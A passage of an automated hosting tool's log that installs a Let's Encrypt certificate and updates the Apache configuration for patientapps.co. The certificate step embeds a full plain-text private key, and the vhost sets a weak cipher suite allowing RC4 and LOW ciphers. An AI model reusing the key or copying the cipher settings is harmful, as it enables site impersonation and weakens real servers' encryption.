Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-17 06:00:23: Establishing a connection
2026-01-17 06:00:23: Establishing a connection
2026-01-17 06:00:23: 

PUT: /tmp/pkp258114

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-17 06:00:24: 

chmod 755 /tmp/pkp258114; /tmp/pkp258114; rm /tmp/pkp258114

2026-01-17 06:00:24: 


1


2026-01-17 06:00:25: Establishing a connection
2026-01-17 06:00:25: 

PUT: /tmp/pkp971282

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > r-Z75VU8S5l_p0ceFUsuetO9k_TV7bJLJHE-ChzfGic <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
r-Z75VU8S5l_p0ceFUsuetO9k_TV7bJLJHE-ChzfGic.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 r-Z75VU8S5l_p0ceFUsuetO9k_TV7bJLJHE-ChzfGic


2026-01-17 06:00:25: 

chmod 755 /tmp/pkp971282; /tmp/pkp971282; rm /tmp/pkp971282

2026-01-17 06:00:25: 




2026-01-17 06:00:26: Establishing a connection
2026-01-17 06:00:26: Establishing a connection
2026-01-17 06:00:27: 

PUT: /tmp/pkp913631

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-17 06:00:27: 

chmod 755 /tmp/pkp913631; /tmp/pkp913631; rm /tmp/pkp913631

2026-01-17 06:00:27: 


0


2026-01-18 06:00:02: Establishing a connection
2026-01-18 06:00:03: Establishing a connection
2026-01-18 06:00:03: 

PUT: /tmp/pkp785509

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-18 06:00:05: 

chmod 755 /tmp/pkp785509; /tmp/pkp785509; rm /tmp/pkp785509

2026-01-18 06:00:05: 


0


2026-01-18 06:00:36: Establishing a connection
2026-01-18 06:00:36: 

PUT: /tmp/pkp553379

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt

cat > $temp_file <<'endmsg'
2a:d5:25:8c:2c:a6:af:eb:e7:0c:3a:98:f9:fa:19:59

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBUB4GneMz3WGWkq/2diVUhEWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE4MDUwMjA1WhcNMjYwNDE4MDUwMjA0WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANEN3Vz8LEEyc0g2ykuqMiLL8Mnb7xcu2RfKSk+FXlrXhCB9IKNz/5+ePV6bDktv
zjTAIVRc6DNQdw3a/7TTu042gF/HwBbwgcC3khnMyt805mh5loyKy24gjS0oLdrl
5Tzchd4sKu7/8zDEYNzGDv9r+uOOu3LVTGM6SsvqSkIvSWmGnV7un18wUopZ5tzj
H1FgJVBS9vUw1rLlUmT7k6I9DpfbI//tDSr6dCg/vChFL0HEcNTZ2I1Q5qKDm/Pw
1V14Qgv0sANP5tIc4DAAlZMBfnFkCrjD7i5+GwK9bFD3EyGLs8H1f4rIXvXZn7Vq
iDYLpFlf7ejQs95tgZWDEzkCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUPD4Ww+nDid5mTFib1lD9TlZFPbswHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzIzLmNybDCCAQIGCisGAQQB1nkC
BAIEgfMEgfAA7gB1AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
m8+w5Q0AAAQDAEYwRAIgd30C2we0mF8cT0cOYYxbr6iB7XXRTsNl3UV6VeQIp8gC
IDMJ4d7Ro76N7UoPIprQszSUJ0edNZO7ZuK7Ryyb75rmAHUA0W6ppWgHfmY1oD83
pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGbz7Dl7wAABAMARjBEAiBSQi5R0gmpiWPc
k7s1DLP9cOSBBjq7/BEWHFvFbSYK+AIgJUkNUg0V7ay6pHBukHh4gCax8u8SB9Da
4YoL7yUTU80wDQYJKoZIhvcNAQELBQADggEBABCwn/zaIdGlwNizULfSPbZwadVs
L4xIgNON9V4qXa2ycnaqm/ycKNJPW08hvEtQ3wNh7Ytlc22FwP52D+8UDd8tnAo7
AQCFG7h4LMmZ6EoildhNW9G03TQK1R+cGD6PUnmdVAbDlkLX56JrhdAqLNKMSpT/
CNLiRKAo3WTM0qAENYM1t+EzXmpeOECvTvQbeADb2TL1cZ6031KpOxg6tJJn2akv
L1LgFrzJ4E/T6/bF8ndWt232frSNgihX2u8nlMCTFVeMZz42QhuwWes+H7ReOIBw
AxMBc4U3AvEcGRm5zz+AJ2tBl+8dDQLQ1pXrge2At/L7j8xQ81qMQZE8kmY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDRDd1c/CxBMnNI
NspLqjIiy/DJ2+8XLtkXykpPhV5a14QgfSCjc/+fnj1emw5Lb840wCFUXOgzUHcN
2v+007tONoBfx8AW8IHAt5IZzMrfNOZoeZaMistuII0tKC3a5eU83IXeLCru//Mw
xGDcxg7/a/rjjrty1UxjOkrL6kpCL0lphp1e7p9fMFKKWebc4x9RYCVQUvb1MNay
5VJk+5OiPQ6X2yP/7Q0q+nQoP7woRS9BxHDU2diNUOaig5vz8NVdeEIL9LADT+bS
HOAwAJWTAX5xZAq4w+4ufhsCvWxQ9xMhi7PB9X+KyF712Z+1aog2C6RZX+3o0LPe
bYGVgxM5AgMBAAECggEACu18W4K0BoFuXME+cFeYcNCzyL12IUJZ50A0A7WfQcTf
u3oG9XxYCZ4yK4qT4/YXc5LyexAzNBF586+1q5xgv10idz9AB4LxaWM/IBmgJixD
+gSXDcgoi5xofMqLoRRg1/5YAg3RfbZD3lH5lTjGKmxYzEHXAxDqwgoXRFL+KDjr
zPg0HsbbP/B3Is1bqLqwPrqr0jEe83BLNsEfMHVpBqmcBewnwt2GnEeXlETXA183
4AqJTRr4iqBmpa2RH/sLwqRqfhMJo+43SxzXuAWQbqrja5WYCo2odrDYoM3Rfm7O
N11X8cp5eMnKI3HYpfG/vJhyRbL7BJdx4vrBBN8ufQKBgQD6UhbKJ9TcRCDEE06E
8lCke8I8+wGHY0HMqGP7IE1cn2QS/vL6rJ0es8hbu5aipni8lLLwMfzT/cWCfuds
yaZMQfHQE9BnsrboLkHdgvDN08QSv8ENe4UZDn02UFEImgWlAJCp07H2KEvJVpn1
RgL9V/fo6lYUrRzHBnHVBOKfhQKBgQDVzBeCIvtYhXBceHb5qfsoP06xI1kVtHor
8gG1m0h0eDd7Owj0D7fEoeM/wrKIG4jWflUf49Z8n3dE0nU/NaMW0L8ZBltEMEBG
j16s5fIsM6R22V9QQFAmRbya92bIBLZ1Yihk9VAgnWixjYoM+traaJc560FRaM3W
utQf0uCBJQKBgFCahEoeH1W5/k8E5IC8wijkzPvz218sH/D1vBQOJ7sOfBv9ymHb
mVBclcSsF+pR7ojS3PepMP9WNPY7ROvr1sexaFsXNkFd87W5x227jyzH5tgetNxR
jN8vojQOErnRVsX1858r0p8wBI9VeofXPnkzjVmLs6I+yAhyU89DHnI9AoGANgQg
lGKeOllMcDCHbsDBkgOcsCiMI227yEqWn/mhrruI2PurYW5vMaDtN3jLfpPmWLsG
as43rLjle1/o+5VjpSoMfhgbCvld4/XpJ6nZK83Iaba13CLDnUfVRRnov/Rg3Pt1
1TwdiH/8qY9nJ6xhivkN7DZCBH2ENBJz8a5nxnkCgYEA9rGhvu0cIs3uRN8BGpp7
LCPp7ywCid0Z/3hCm4/JSJgAIubYZWV6gtbTAOe4BSoFgIL0SnWUYldFxIy3Igu0
WmlGI1gt8MITdBqLpPFk5GMBvTbItNKhRae+2ffJNlkeFzxbgx0tUGYycK0TKEHD
IVzzpWx5pVnG1zta7LPts2g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-18 06:00:36: 

chmod 755 /tmp/pkp553379; /tmp/pkp553379; rm /tmp/pkp553379

2026-01-18 06:00:36: 


dir=/etc/ssl/certs


2026-01-18 06:00:36: 

PUT: /tmp/pkp761539

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-18 06:00:36: 

chmod 755 /tmp/pkp761539; /tmp/pkp761539; rm /tmp/pkp761539

2026-01-18 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-01-18 06:00:36: 

PUT: /tmp/pkp918388

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi


2026-01-18 06:00:36: 

chmod 755 /tmp/pkp918388; /tmp/pkp918388; rm /tmp/pkp918388

2026-01-18 06:00:36: 




2026-01-18 06:00:36: 

PUT: /tmp/pkp155677

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-18 06:00:36: 

chmod 755 /tmp/pkp155677; /tmp/pkp155677; rm /tmp/pkp155677

2026-01-18 06:00:36: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-18 06:00:36: Establishing a connection
2026-01-18 06:00:36: 

PUT: /tmp/pkp746701

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-18 06:00:36: 

chmod 755 /tmp/pkp746701; /tmp/pkp746701; rm /tmp/pkp746701

2026-01-18 06:00:36: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-18 06:00:36: 

PUT: /tmp/pkp997228

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-18 06:00:36: 

chmod 755 /tmp/pkp997228; /tmp/pkp997228; rm /tmp/pkp997228

2026-01-18 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf	1820

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
